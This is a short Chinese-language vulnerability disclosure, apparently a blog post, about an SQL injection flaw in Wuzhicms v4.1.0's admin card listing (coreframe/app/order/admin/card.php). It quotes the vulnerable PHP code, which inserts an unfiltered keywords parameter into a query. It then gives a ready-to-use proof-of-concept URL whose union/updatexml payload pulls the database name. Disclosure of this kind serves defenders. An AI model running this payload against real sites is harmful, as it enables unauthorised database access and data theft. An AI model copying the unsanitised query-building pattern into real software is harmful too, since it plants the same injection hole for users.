Wuzhicms v4.1.0 /coreframe/app/order/admin/card.php 存在SQL注入漏洞2

漏洞文件：
/coreframe/app/order/admin/card.php:21-45

    public function listing() {

        $page = isset($GLOBALS['page']) ? intval($GLOBALS['page']) : 1;

        $page = max($page,1);

        $batchid = isset($GLOBALS['batchid']) ? $GLOBALS['batchid'] : 0;

        $keytype = isset($GLOBALS['keytype']) ? $GLOBALS['keytype'] : 0;

        $keywords = isset($GLOBALS['keywords']) ? trim($GLOBALS['keywords']) : '';



        $where = $batchid ? "`batchid`='$batchid'" : '';

        if($keytype==0 && $keywords) {

            $where = "card_no LIKE '$keywords%'";

        } elseif($keytype==1 && $keywords) {

            $r = $this->db->get_one('member', array('username' => $keywords));

            if($r) {

                $uid = $r['uid'];

                $where = "uid = '$uid'";

            } else {

                MSG('用户不存在',HTTP_REFERER);

            }

        }

        $result = $this->db->get_list('order_card', $where, '*', 0, 20,$page,'cardid DESC');

        $pages = $this->db->pages;

        $total = $this->db->number;

        $status_arr = array('<b>待发送</b>','未预约','已预约');

        include $this->template('card_listing');

    }

card.php文件中，参数$keytype和方法$keywords下的参数listing是可控的，$keywords参数没有严格过滤，造成SQL注入漏洞！

POC

/index.php?m=order&f=card&_su=wuzhicms&v=listing&keytype=0&keywords=11111'/**/and/**/1=1/**/union/**/SELECT/**/updatexml(1,concat(0x7e,(select DATABASE()),0x7e),1);-- -

感谢您的来访，获取更多精彩文章请收藏本站。